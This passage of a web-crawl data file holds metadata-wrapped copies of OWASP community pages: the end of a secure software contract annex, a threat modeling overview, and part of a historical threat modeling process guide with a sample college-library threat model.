platform.\n\n**(d) Implementation** : Developer agrees to provide and follow a set of\n secure coding guidelines and to use a set of common security control\n programming interfaces (such as the [OWASP Enterprise Security API\n (ESAPI)](https://owasp.org/www-project-enterprise-security-api/)).\n Guidelines will indicate how code should be formatted, structured,\n and commented. Common security control programming interfaces will\n define how security controls must be called and how security\n controls shall function. All security-relevant code shall be\n thoroughly commented. Specific guidance on avoiding common security\n vulnerabilities shall be included. Also, all code shall be reviewed\n by at least one other Developer against the security requirements\n and coding guideline before it is considered ready for unit test.\n\n**(e) Security Analysis and Testing** : Developer will perform\n application security analysis and testing (also called\n “verification”) according to the verification requirements of an\n agreed-upon standard (such as the [OWASP Application Security\n Verification Standard\n (ASVS)](https://owasp.org/www-project-application-security-verification-standard/)).\n The Developer shall document verification findings according to the\n reporting requirements of the standard. The Developer shall provide\n the verification findings to Client.\n\n**(f) Secure Deployment** : Developer agrees to provide secure\n configuration guidelines that fully describe all security relevant\n configuration options and their implications for the overall\n security of the software. The guideline shall include a full\n description of dependencies on the supporting platform, including\n operating system, web server, and application server, and how they\n should be configured for security. The default configuration of the\n software shall be secure.\n\n### 4. SECURITY REQUIREMENT AREAS\n\nThe following topic areas must be considered during the risk\nunderstanding and requirements definition activities. This effort should\nproduce a set of specific, tailored, and testable requirements Both\nDeveloper and Client should be involved in this process and must agree\non the final set of requirements.\n\n**(a) Input Validation and Encoding** : The requirements shall specify\n the rules for canonicalizing, validating, and encoding each input to\n the application, whether from users, file systems, databases,\n directories, or external systems. The default rule shall be that all\n input is invalid unless it matches a detailed specification of what\n is allowed. In addition, the requirements shall specify the action\n to be taken when invalid input is received. Specifically, the\n application shall not be susceptible to injection, overflow,\n tampering, or other corrupt input attacks.\n\n**(b) Authentication and Session Management** : The requirements shall\n specify how authentication credentials and session identifiers will\n be protected throughout their lifecycle. Requirements for all\n related functions, including forgotten passwords, changing\n passwords, remembering passwords, logout, and multiple logins, shall\n be included.\n\n**(c) Access Control** : The requirements shall include a detailed\n description of all roles (groups, privileges, authorizations) used\n in the application. The requirements shall also indicate all the\n assets and functions provided by the application. The requirements\n shall fully specify the exact access rights to each asset and\n function for each role. An access control matrix is the suggested\n format for these rules.\n\n**(d) Error Handling** : The requirements shall detail how errors\n occurring during processing will be handled. Some applications\n should provide best effort results in the event of an error, whereas\n others should terminate processing immediately.\n\n**(e) Logging** : The requirements shall specify what events are\n security-relevant and need to be logged, such as detected attacks,\n failed login attempts, and attempts to exceed authorization. The\n requirements shall also specify what information to log with each\n event, including time and date, event description, application\n details, and other information useful in forensic efforts.\n\n**(f) Connections to External Systems** : The requirements shall specify\n how authentication and encryption will be handled for all external\n systems, such as databases, directories, and web services. All\n credentials required for communication with external systems shall\n be stored outside the code in a configuration file in encrypted\n form.\n\n**(g) Encryption** : The requirements shall specify what data must be\n encrypted, how it is to be encrypted, and how all certificates and\n other credentials must be handled. The application shall use a\n standard algorithm implemented in a widely used and tested\n encryption library.\n\n**(h) Availability** : The requirements shall specify how it will\n protect against denial of service attacks. All likely attacks on the\n application should be considered, including authentication lockout,\n connection exhaustion, and other resource exhaustion attacks.\n\n**(i) Secure Configuration** : The requirements shall specify that the\n default values for all security relevant configuration options shall\n be secure. For audit purposes, the software should be able to\n produce an easily readable report showing all the security relevant\n configuration details.\n\n__(j) Specific Vulnerabilities : The requirements shall include a set\n of specific vulnerabilities that shall not be found in the software.\n If not otherwise specified, then the software shall not include any\n of the flaws described in the current “OWASP Top Ten Most Critical\n Web Application Vulnerabilities.”\n\n### 5. PERSONNEL AND ORGANIZATION\n\n**(a) Security Architect** : Developer will assign responsibility for\n security to a single senior technical resource, to be known as the\n project Security Architect. The Security Architect will certify the\n security of each deliverable.\n\n**(b) Security Training** : Developer will be responsible for verifying\n that all members of the developer team have been trained in secure\n programming techniques.\n\n**(c) Trustworthy Developers** : Developer agrees to perform appropriate\n background investigation of all development team members.\n\n### 6. DEVELOPMENT ENVIRONMENT\n\n**(a) Secure Coding** : Developer shall disclose what tools are used in\n the software development environment to encourage secure coding.\n\n**(b) Configuration Management** : Developer shall use a source code\n control system that authenticates and logs the team member\n associated with all changes to the software baseline and all related\n configuration and build files.\n\n**(c) Distribution** : Developer shall use a build process that reliably\n builds a complete distribution from source. This process shall\n include a method for verifying the integrity of the software\n delivered to Client.\n\n### 7. LIBRARIES, FRAMEWORKS, AND PRODUCTS\n\n**(a) Disclosure** : Developer shall disclose all third party software\n used in the software, including all libraries, frameworks,\n components, and other products, whether commercial, free,\n open-source, or closed-source.\n\n**(b) Evaluation** : Developer shall make reasonable efforts to ensure\n that third party software meets all the terms of this agreement and\n is as secure as custom developed code developed under this\n agreement.\n\n### 8. SECURITY REVIEWS\n\n**(a) Right to Review** : Client has the right to have the software\n reviewed for security flaws at their expense at any time within 60\n days of delivery. Developer agrees to provide reasonable support to\n the review team by providing source code and access to test\n environments.\n\n**(b) Review Coverage** : Security reviews shall cover all aspects of\n the software delivered, including custom code, components, products,\n and system configuration.\n\n**(c) Scope of Review** : At a minimum, the review shall cover all of\n the security requirements and should search for other common\n vulnerabilities. The review may include a combination of\n vulnerability scanning, penetration testing, static analysis of the\n source code, and expert code review.\n\n**(d) Issues Discovered** : Security issues uncovered will be reported\n to both Client and Developer. All issues will be tracked and\n remediated as specified in the Security Issue Management section of\n this Annex.\n\n### 9. SECURITY ISSUE MANAGEMENT\n\n**(a) Identification** : Developer will track all security issues\n uncovered during the entire lifecycle, whether a requirements,\n design, implementation, testing, deployment, or operational issue.\n The risk associated with each security issue will be evaluated,\n documented, and reported to Client as soon as possible after\n discovery.\n\n**(b) Protection** : Developer will appropriately protect information\n regarding security issues and associated documentation, to help\n limit the likelihood that vulnerabilities in operational Client\n software are exposed.\n\n**(c) Remediation** : Security issues that are identified before\n delivery shall be fixed by Developer. Security issues discovered\n after delivery shall be handled in the same manner as other bugs and\n issues as specified in this Agreement.\n\n### 10. ASSURANCE\n\n**(a) Assurance** : Developer will provide a “certification package”\n consisting of the security documentation created throughout the\n development process. The package should establish that the security\n requirements, design, implementation, and test results were properly\n completed and all security issues were resolved appropriately.\n\n**(b) Self-Certification** : The Security Architect will certify that\n the software meets the security requirements, all security\n activities have been performed, and all identified security issues\n have been documented and resolved. Any exceptions to the\n certification status shall be fully documented with the delivery.\n\n**(c) No Malicious Code** : Developer warrants that the software shall\n not contain any code that does not support a software requirement\n and weakens the security of the application, including computer\n viruses, worms, time bombs, back doors, Trojan horses, Easter eggs,\n and all other forms of malicious code.\n\n### 11. SECURITY ACCEPTANCE AND MAINTENANCE\n\n**(a) Acceptance** : The software shall not be considered accepted until\n the certification package is complete and all security issues have\n been resolved.\n\n**(b) Investigating Security Issues** : After acceptance, if security\n issues are discovered or reasonably suspected, Developer shall\n assist Client in performing an investigation to determine the nature\n of the issue. The issue shall be considered “novel” if it is not\n covered by the security requirements and is outside the reasonable\n scope of security testing.\n\n**(c) Novel Security Issues** : Developer and Client agree to scope the\n effort required to resolve novel security issues, and to negotiate\n in good faith to achieve an agreement to perform the required work\n to address them.\n\n**(d) Other Security Issues** : Developer shall use all commercially\n reasonable efforts consistent with sound software development\n practices, taking into account the severity of the risk, to resolve\n all security issues not considered novel as quickly as possible.\n\n---\n\n[Watch](https://github.com/owasp/www-community/subscription) [Star](https://github.com/owasp/www-community)", "znaku_textu": 23225, "slov": 3451, "odkazu": 26, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 00:38:30", "sha256": "ad9112e99f4ff83aa01956ed8f4afc561fbfa6249e258abe774706f52d5c74cb", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://wiki.owasp.org/index.php/Secure_software_contracting_hypothetical_case_study", "https://github.com/owasp/www-community/subscription", "https://github.com/owasp/www-community", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-community/Threat_Modeling", "titulek": "Threat Modeling | OWASP Foundation", "h1": "Threat Modeling", "popis": "Threat Modeling on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://community.owasp.org/Threat_Modeling", "jazyk": "en", "robots_meta": "", "og": {"og:description": "Threat Modeling on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "Threat Modeling | OWASP Foundation", "og:url": "https://community.owasp.org/Threat_Modeling", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Threat Modeling"}, {"uroven": 2, "text": "Overview"}, {"uroven": 2, "text": "Objectives of Threat Modeling"}, {"uroven": 2, "text": "Threat Modeling Across the Lifecycle"}, {"uroven": 2, "text": "Threat Modeling: Four Question Framework"}, {"uroven": 2, "text": "Structured Threat Modeling Process"}, {"uroven": 2, "text": "Benefits"}, {"uroven": 2, "text": "Further Reading"}], "markdown": "# Threat Modeling\n\n**Author:** Victoria Drake\n\nThis is an OWASP community page. You should also visit the official [Threat Model Project](https://owasp.org/www-project-threat-modeling/) site.\n\n## Overview\n\nThreat modeling works to identify, communicate, and understand threats and mitigations within the context of protecting something of value.\n\nA threat model is a structured representation of all the information that affects the security of an application. In essence, it is a view of the application and its environment through the lens of security.\n\nThreat modeling can be applied to a wide range of things, including software, applications, systems, networks, distributed systems, Internet of Things (IoT) devices, and business processes.\n\nA threat model typically includes:\n\n- Description of the subject to be modeled\n- Assumptions that can be checked or challenged in the future as the threat landscape changes\n- Potential threats to the system\n- Actions that can be taken to mitigate each threat\n- A way of validating the model and threats, and verification of success of actions taken\n\nThreat modeling is a process for capturing, organizing, and analyzing all of this information. Applied to software, it enables informed decision-making about application security risks. In addition to producing a model, typical threat modeling efforts also produce a prioritized list of security improvements to the concept, requirements, design, or implementation of an application.\n\nIn 2020 a group of threat modeling practitioners, researchers and authors got together to write the [Threat Modeling Manifesto](https://www.threatmodelingmanifesto.org/) in order to “…share a distilled version of our collective threat modeling knowledge in a way that should inform, educate, and inspire other practitioners to adopt threat modeling as well as improve security and privacy during development”. The Manifesto contains values and principles connected to the practice and adoption of Threat Modeling, as well as identified patterns and anti-patterns to facilitate it.\n\n## Objectives of Threat Modeling\n\nThreat modeling is a family of activities for improving security by\nidentifying threats, and then defining\ncountermeasures to prevent, or mitigate the effects of, threats to the\nsystem. A threat is a potential or actual undesirable event that may be\nmalicious (such as DoS attack) or incidental (failure of a Storage\nDevice). Threat modeling is a planned activity for identifying and\nassessing application threats and vulnerabilities.\n\n## Threat Modeling Across the Lifecycle\n\nThreat modeling is best applied continuously throughout a software development project. The process is essentially the same at different levels of abstraction, although the information gets more and more granular throughout the lifecycle. Ideally, a high-level threat model should be defined early on in the concept or planning phase, and then refined throughout the lifecycle. As more details are added to the system, new attack vectors are created and exposed. The ongoing threat modeling process should examine, diagnose, and address these threats.\n\nIt is a natural part of refining a system for new threats to be exposed. For example, when you select a particular technology – such as Java for example – you take on the responsibility of identifying the new threats that are created by that choice. Even implementation choices such as using regular expressions for validation can introduce potential new threats to deal with.\n\nUpdating threat models is advisable after events such as:\n\n- A new feature is released\n- Security incident occurs\n- Architectural or infrastructure changes\n\n## Threat Modeling: Four Question Framework\n\nA possible threat exists when the combined likelihood of the threat occurring and impact it would have on the organization create a significant risk. The following four question framework can help to organize threat modeling:\n\n- What are we working on?\n- What can go wrong?\n- What are we going to do about it?\n- Did we do a good job?\n\nThere are many methods or techniques that can be used to answer each of these questions. There is no “right” way to evaluate the search space of possible threats, but structured models exist in order to help make the process more efficient.\n\nAttempting to evaluate all the possible combinations of threat agent, attack, vulnerability, and impact is often a waste of time and effort. It is helpful to refine the search space in order to determine which possible threats to focus on.\n\n- **Assess Scope** - What are we working on? This might be as small as a sprint, or as large as a whole system.\n- **Identify what can go wrong** - This can be as simple as a brainstorm, or as structured as using STRIDE, Kill Chains, or Attack Trees.\n- **Identify countermeasures or manage risk** - Decide what you’re going to do about each threat. That might be to implement a mitigation, or to apply the accept/transfer/eliminate approaches of risk management.\n- **Assess your work** - Did you do a good enough job for the system at hand?\n\n## Structured Threat Modeling Process\n\nA structured, formal process for threat modeling of an application is described in [Threat Modeling Process](/Threat_Modeling_Process).\n\n## Benefits\n\nDone right, threat modeling provides a clear “line of sight” across a project that justifies security efforts. The threat model allows security decisions to be made rationally, with all the information on the table.\n\nThe threat modeling process naturally produces an assurance argument that can be used to explain and defend the security of an application. An assurance argument starts with a few high level claims, and justifies them with either subclaims or evidence.\n\n## Further Reading\n\n- [OWASP Threat Modeling Project](https://owasp.org/www-project-threat-modeling/)\n\n---\n\n[Watch](https://github.com/owasp/www-community/subscription) [Star](https://github.com/owasp/www-community)", "znaku_textu": 5848, "slov": 884, "odkazu": 26, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 21:17:46", "sha256": "3878530639f59898e606576c9ca892e58cc49be4dde6619bf344eab206d65ed8", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://www.threatmodelingmanifesto.org/", "https://github.com/owasp/www-community/subscription", "https://github.com/owasp/www-community", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-community/Threat_Modeling_Process", "titulek": "Threat Modeling Process (Historical) | OWASP Foundation", "h1": "Threat Modeling Process (Historical)", "popis": "Threat Modeling Process (Historical) on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://community.owasp.org/Threat_Modeling_Process", "jazyk": "en", "robots_meta": "", "og": {"og:description": "Threat Modeling Process (Historical) on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "Threat Modeling Process (Historical) | OWASP Foundation", "og:url": "https://community.owasp.org/Threat_Modeling_Process", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Threat Modeling Process (Historical)"}, {"uroven": 2, "text": "Introduction"}, {"uroven": 3, "text": "Step 1: Scope your work"}, {"uroven": 3, "text": "Step 2: Determine Threats"}, {"uroven": 3, "text": "Step 3: Determine Countermeasures and Mitigation"}, {"uroven": 3, "text": "Step 4: Assess your work"}, {"uroven": 2, "text": "(Sample) Scope the work"}, {"uroven": 3, "text": "(Sample) Threat Model Information"}, {"uroven": 2, "text": "Threat Model Information (Sample)"}, {"uroven": 3, "text": "External Dependencies (Sample)"}, {"uroven": 2, "text": "External Dependencies (Sample)"}, {"uroven": 3, "text": "Entry Points"}, {"uroven": 2, "text": "Entry Points"}, {"uroven": 3, "text": "Exit Points"}, {"uroven": 3, "text": "Assets"}, {"uroven": 2, "text": "Assets"}, {"uroven": 3, "text": "Trust Levels"}, {"uroven": 2, "text": "Trust Levels"}, {"uroven": 3, "text": "Data Flow Diagrams"}, {"uroven": 3, "text": "Example Diagrams"}, {"uroven": 2, "text": "Determine Threats (Sample)"}, {"uroven": 3, "text": "STRIDE"}, {"uroven": 2, "text": "STRIDE Threat List"}, {"uroven": 3, "text": "Threat Analysis"}, {"uroven": 3, "text": "Ranking of Threats"}, {"uroven": 3, "text": "Qualitative Risk Model"}, {"uroven": 2, "text": "Determine Countermeasures and Mitigation"}, {"uroven": 3, "text": "STRIDE Threat & Mitigation Techniques"}, {"uroven": 2, "text": "Complementing Code Review"}], "markdown": "# Threat Modeling Process (Historical)\n\n**Author:** Larry Conklin \n **Contributor(s):** Marco Morana, Victoria Drake, Sven strittmatter, Zoe Braiterman, Adam Shostack\n\nThis is an OWASP community page on threat modeling. You should visit the official [Threat Model Project](https://owasp.org/www-project-threat-modeling/) site for an overview on threat modeling and it’s many facets within the OWASP community.\n\n- Introduction\n - Step 1: Scope your work\n - Step 2: Determine Threats\n - Step 3: Determine Countermeasures and Mitigation\n - Step 4: Assess your work\n- Scope your work (Samples)\n - Threat Model Information\n - External Dependencies\n - Entry Points\n - Exit Points\n - Assets\n - Trust Levels\n - Data Flow Diagrams\n - Example Diagrams\n - Determine Threats (samples)\n - STRIDE\n - STRIDE Threat List (sample)\n - Threat Analysis\n - Ranking of Threats\n - Qualitative Risk Model\n - Determine Countermeasures and Mitigation (Sample)\n - STRIDE Threat & Mitigation Techniques\n- Complementing Code Review\n\n## Introduction\n\nThis document describes a structured approach to application threat modeling that enables you to identify, quantify, and address the security risks associated with an application.\n\nThreat modeling looks at a system from a potential attacker’s perspective, as opposed to a defender’s viewpoint. Making threat modeling a core component of your [SDLC](https://en.wikipedia.org/wiki/Systems_development_life_cycle) can help increase product security.\n\nThe threat modeling process can be decomposed into four high level steps. Frequently, each step is documented as it is carried out. The resulting document is the threat model for the application. Experts distinguish between the work of doing threat modeling and the work to create threat model documents.\n\n### Step 1: Scope your work\n\nThe first step in the threat modeling process is concerned with gaining an understanding of what you’re working on. This can involve:\n\n- Drawing diagrams, often data flow diagrams.\n- Identifying entry points to see where a potential attacker could interact with the application.\n- Trying to identifying “assets”\n- Identifying trust levels that represent the access rights that the application will grant to external entities.\n- Reading a user story or creating one. (This step is sometimes extended to abuser stories, misuse cases, etc.)\n\nData flow diagrams ([DFDs](https://en.wikipedia.org/wiki/Data-flow_diagram)) are frequently used to show what we’re working on. The [DFDs](https://en.wikipedia.org/wiki/Data-flow_diagram) show the different paths through the system, highlighting the privilege or trust boundaries.\n\nThis is sometimes called “decompose the application,” which is an approach that consultants use when they’re brought in to do a threat model or architectural review. Consultants will often provide output in the form of a Threat Model document.\n\nTarandach has advocated for “Threat modeling every story,” which is work that developers, operations or SRE would do. When threat modeling every story, “decompose the application” is meaningless.\n\nThis step often calls out “assets”, which can be any of things you want to protect, stepping stones, or things attackers want. Often times those assets are out of scope for a project, and are a distraction. Other times, they’re hard to identify in advance of an attacker drawing attention to them.\n\n### Step 2: Determine Threats\n\nCritical to the identification of threats is using a threat categorization methodology. [STRIDE](https://en.wikipedia.org/wiki/STRIDE_%28security%29) is frequently used in threat modeling, and kill chains including MITRE ATT&CK are frequently used for operational threat modeling.\n\nThe goal of the threat categorization is to help identify threats from the attacker ([STRIDE](https://en.wikipedia.org/wiki/STRIDE_%28security%29)). [DFDs](https://en.wikipedia.org/wiki/Data-flow_diagram) produced in step 1 help to identify the potential threat targets from the attacker’s perspective, such as data sources, processes, data flows, and interactions with users.\n\nThese threats can be organized further using threat trees; there is one tree for each threat goal. Common threat lists with examples can help in the identification of such threats. Use and abuse cases can illustrate how existing protective measures could be bypassed, or where a lack of such protection exists.\n\n### Step 3: Determine Countermeasures and Mitigation\n\nA vulnerability may be mitigated with the implementation of a countermeasure. Such countermeasures can be identified using threat-countermeasure mapping lists. Prioritization of countermeasures is a complex and contentious topic. Many approaches exist, and organizations need to select ones that will work for them. Frequently included factors are likelihood of attack, damage from an attack, and complexity or cost of fix.\n\nThe risk mitigation strategy might involve evaluating these threats from the business impact they pose. Once the possible impact is identified, options for addressing the risk include:\n\n- Accept: decide that the business impact is acceptable, and document who has chosen to accept the risk\n- Eliminate: remove components that make the vulnerability possible\n- Mitigate: add checks or controls that reduce the risk impact, or the chances of its occurrence\n- Transfer: Transfer risk to an insurer or customer.\n\nThe following sections examine these steps in depth and provide examples of the resulting threat model in a structured format.\n\n### Step 4: Assess your work\n\nFirst, determine if you’ve done the work. Are there records showing a diagram, a threats list and a control list.\n\n## (Sample) Scope the work\n\nThis version frames the work as aimed at helping those not involved with the application’s development gain an understanding of the application and how it interacts with external entities. This goal is achieved by information gathering and documentation. The information gathering process is carried out using a clearly defined structure, which ensures the correct information is collected.\n\n### (Sample) Threat Model Information\n\nWaterfall-style or consultant-delivered threat model documents typically includes the the following:\n\n1. **Application Name** : The name of the application examined.\n2. **Application Version** : The version of the application examined.\n3. **Description** : A high level description of the application.\n4. **Document Owner** : The owner of the threat modeling document.\n5. **Participants** : The participants involved in the threat modeling process for this application.\n6. **Reviewer** : The reviewer(s) of the threat model.\n\nExample:\n\n> ## Threat Model Information (Sample)\n> \n> **Application Version:** 1.0\n> \n> **Description:** The college library website is the first implementation of a website to provide librarians and library patrons (students and college staff) with online services. As this is the first implementation of the website, the functionality will be limited. There will be three users of the application:\n> \n> 1. Students\n> 2. Staff\n> 3. Librarians\n> \n> Staff and students will be able to log in and search for books, and staff members can request books. Librarians will be able to log in, add books, add users, and search for books.\n> \n> **Document Owner:** David Lowry\n> \n> **Participants:** David Rook\n> \n> **Reviewer:** Eoin Keary\n\n### External Dependencies (Sample)\n\nExternal dependencies are items external to the code of the application that may pose a threat to the application. These items are typically still within the control of the organization, but possibly not within the control of the development team. The first area to consider when investigating external dependencies is the production environment and requirements.\n\nIt is useful to understand how the application is or is not intended to be run. For example, if the application is expected to be run on a server that has been hardened to the organization’s hardening standard and it is expected to sit behind a firewall, then this information should be documented in the external dependencies section.\n\nExternal dependencies should be documented as follows:\n\n1. **ID** : A unique ID assigned to the external dependency.\n2. **Description** : A textual description of the external dependency.\n\nExample:\n\n> ## External Dependencies (Sample)\n> \n> | ID | Description |\n> | --- | --- |\n> | 1 | The college library website will run on a Linux server running Apache. This server will be hardened per the college’s server hardening standard. This includes the installation of the latest operating system and application security patches. |\n> | 2 | The database server will be MySQL and it will run on a Linux server. This server will be hardened per the college’s server hardening standard. This will include the installation of the latest operating system and application security patches. |\n> | 3 | The connection between the web server and the database server will be over a private network. |\n> | 4 | The web server is behind a firewall and the only communication available is TLS. |\n\n### Entry Points\n\nEntry points define the interfaces through which potential attackers can interact with the application or supply it with data. In order for a potential attacker to attack an application, entry points must exist. Entry points in an application can be layered. For example, each web page in a web application may contain multiple entry points.\n\nEntry points show where data enters the system (i.e. input fields, methods) and exit points are where it leaves the system (i.e. dynamic output, methods), respectively. Entry and exit points define a trust boundary (see Trust Levels).\n\nEntry points should be documented as follows:\n\n1. **ID** : A unique ID assigned to the entry point. This will be used to cross-reference the entry point with any threats or\nvulnerabilities that are identified. In the case of layered entry points, a major.minor notation should be used.\n2. **Name** : A descriptive name identifying the entry point and its purpose.\n3. **Description** : A textual description detailing the interaction or processing that occurs at the entry point.\n4. **Trust Levels** : The level of access required at the entry point. These will be cross-referenced with the trust levels defined later in the document.\n\nExample:\n\n> ## Entry Points\n> \n> | ID | Name | Description | Trust Levels |\n> | --- | --- | --- | --- |\n> | 1 | HTTPS Port | The college library website will be only be accessible via TLS. All pages within the college library website are layered on this entry point. | (1) Anonymous Web User \n> (2) User with Valid Login Credentials \n> (3) User with Invalid Login Credentials \n> (4) Librarian |\n> | 1.1 | Library Main Page | The splash page for the college library website is the entry point for all users. | (1) Anonymous Web User \n> (2) User with Valid Login Credentials \n> (3) User with Invalid Login Credentials \n> (4) Librarian |\n> | 1.2 | Login Page | Students, faculty members and librarians must log in to the college library website before they can carry out any of the use cases. | (1) Anonymous Web User \n> (2) User with Login Credentials \n> (3) User with Invalid Login Credentials \n> (4) Librarian |\n> | 1.2.1 | Login Function | The login function accepts user supplied credentials and compares them with those in the database. | (2) User with Valid Login Credentials \n> (3) User with Invalid Login Credentials \n> (4) Librarian |\n> | 1.3 | Search Entry Page | The page used to enter a search query. | (2) User with Valid Login Credentials \n> (4) Librarian |\n\n### Exit Points\n\nExit points might prove useful when attacking the client: for example, cross-site-scripting vulnerabilities and information disclosure vulnerabilities both require an exit point for the attack to complete.\n\nIn the case of exit points from components handling confidential data (e.g. data access components), exit points lacking security controls to protect confidentiality and integrity can lead to disclosure of such confidential information to an unauthorized user.\n\nIn many cases threats enabled by exit points are related to the threats of the corresponding entry point. In the login example, error messages returned to the user via the exit point (the log in page) might allow for entry point attacks, such as account harvesting (e.g. username not found), or SQL injection (e.g. SQL exception errors).\n\n### Assets\n\nMany have something that one or more attackers are interested in; these items or areas of interest are often labelled “assets.” Assets can be both physical assets and abstract assets. For example, an asset of an application might be a list of clients and their personal information; this is a physical asset. An abstract asset might be the reputation of an organization. It is unclear how talking about the reputation of the organization aids in threat modeling.\n\nAssets are documented in this sample threat model as follows:\n\n1. **ID** : A unique ID is assigned to identify each asset. This will be used to cross-reference the asset with any threats or vulnerabilities that are identified.\n2. **Name** : A descriptive name that clearly identifies the asset.\n3. **Description** : A textual description of what the asset is and why it needs to be protected.\n4. **Trust Levels** : The level of access required to access the entry point is documented here. These will be cross-referenced with the trust levels defined in the next step.\n\nExample:\n\n> ## Assets\n> \n> | ID | Name | Description | Trust Levels |\n> | --- | --- | --- | --- |\n> | **1** | **Library Users and Librarian** | **Assets relating to students, faculty members, and librarians.** | |\n> | 1.1 | User Login Details | The login credentials that a student or a faculty member will use to log into the College Library website. | (2) User with Valid Login Credentials \n> (4) Librarian \n> (5) Database Server Administrator \n> (7) web server User Process \n> (8) Database Read User \n> (9) Database Read/Write User |\n> | 1.2 | Librarian Login Details | The login credentials that a Librarian will use to log into the College Library website. | (4) Librarian \n> (5) Database Server Administrator \n> (7) web server User Process \n> (8) Database Read User \n> (9) Database Read/Write User |\n> | 1.3 | Personal Data | The College Library website will store personal information relating to the students, faculty members, and librarians. | (4) Librarian \n> (5) Database Server Administrator \n> (6) Website Administrator \n> (7) web server User Process \n> (8) Database Read User \n> (9) Database Read/Write User |\n> | **2** | **System** | **Assets relating to the underlying system.** | |\n> | 2.1 | Availability of College Library Website | The College Library website should be available 24 hours a day and can be accessed by all students, college faculty members, and librarians. | (5) Database Server Administrator \n> (6) Website Administrator |\n> | 2.2 | Ability to Execute Code as a web server User | This is the ability to execute source code on the web server as a web server user. | (6) Website Administrator \n> (7) web server User Process |\n> | 2.3 | Ability to Execute SQL as a Database Read User | This is the ability to execute SQL select queries on the database, and thus retrieve any information stored within the College Library database. | (5) Database Server Administrator \n> (8) Database Read User \n> (9) Database Read/Write User |\n> | 2.4 | Ability to Execute SQL as a Database Read/Write User | This is the ability to execute SQL. Select, insert, and update queries on the database and thus have read and write access to any information stored within the College Library database. | (5) Database Server Administrator \n> (9) Database Read/Write User |\n> | **3** | **Website** | **Assets relating to the College Library website.** | |\n> | 3.1 | Login Session | This is the login session of a user to the College Library website. This user could be a student, a member of the college faculty, or a Librarian. | (2) User with Valid Login Credentials \n> (4) Librarian |\n> | 3.2 | Access to the Database Server | Access to the database server allows you to administer the database, giving you full access to the database users and all data contained within the database. | (5) Database Server Administrator |\n> | 3.3 | Ability to Create Users | The ability to create users would allow an individual to create new users on the system. These could be student users, faculty member users, and librarian users. | (4) Librarian \n> (6) Website Administrator |\n> | 3.4 | Access to Audit Data | The audit data shows all audit-able events that occurred within the College Library application by students, staff, and librarians. | (6) Website Administrator |\n\n### Trust Levels\n\nTrust levels represent the access rights that the application will grant to external entities. The trust levels are cross-referenced with the entry points and assets. This allows us to define the access rights or privileges required at each entry point, and those required to interact with each asset.\n\nTrust levels are documented in the threat model as follows:\n\n1. **ID** : A unique number is assigned to each trust level. This is used to cross-reference the trust level with the entry points and\nassets.\n2. **Name** : A descriptive name that allows you to identify the external entities that have been granted this trust level.\n3. **Description** : A textual description of the trust level detailing the external entity who has been granted the trust level.\n\nExample:\n\n> ## Trust Levels\n> \n> | ID | Name | Description |\n> | --- | --- | --- |\n> | 1 | Anonymous Web User | A user who has connected to the college library website but has not provided valid credentials. |\n> | 2 | User with Valid Login Credentials | A user who has connected to the college library website and has logged in using valid login credentials. |\n> | 3 | User with Invalid Login Credentials | A user who has connected to the college library website and is attempting to log in using invalid login credentials. |\n> | 4 | Librarian | The librarian can create users on the library website and view their personal information. |\n> | 5 | Database Server Administrator | The database server administrator has read and write access to the database that is used by the college library website. |\n> | 6 | Website Administrator | The Website administrator can configure the college library website. |\n> | 7 | web server User Process | This is the process/user that the web server executes code as and authenticates itself against the database server as. |\n> | 8 | Database Read User | The database user account used to access the database for read access. |\n> | 9 | Database Read/Write User | The database user account used to access the database for read and write access. |\n\n### Data Flow Diagrams\n\nAll of the information collected allows us to accurately model the application through the use of Data Flow Diagrams ([DFDs](https://en.wikipedia.org/wiki/Data-flow_diagram)). The [DFDs](https://en.wikipedia.org/wiki/Data-flow_diagram) will allow us to gain a better understanding of the application by providing a visual representation of how the application processes data.\n\nData flows show how data flows logically through the application, end to end. They allow the identification of affected components through critical points (e.g. data entering or leaving the system, storage of data) and the flow of control through these components.\n\nThe focus of the [DFDs](https://en.wikipedia.org/wiki/Data-flow_diagram) is on how data moves through the application and what happens to the data as it moves. [DFDs](https://en.wikipedia.org/wiki/Data-flow_diagram) are hierarchical in structure, so they can be used to decompose the application into subsystems and lower-level subsystems. The high-level [DFD](https://en.wikipedia.org/wiki/Data-flow_diagram) will allow us to clarify the scope of the application being modeled. The lower level iterations will allow us to focus on the specific processes involved when processing specific data.\n\nThere are a number of symbols that are used in [DFDs](https://en.wikipedia.org/wiki/Data-flow_diagram) for threat modeling. These are described below:\n\n| Symbol | Name | Description |\n| --- | --- | --- |\n| | External Entity | The external entity shape is used to represent any entity outside the application that interacts with the application via an entry point. |\n| | Process | The process shape represents a task that handles data within the application. The task may process the data or perform an action based on the data. |\n| | Multiple Process | The multiple process shape is used to present a collection of subprocesses. The multiple process can be broken down into its subprocesses in another DFD. |\n| | Data Store | The data store shape is 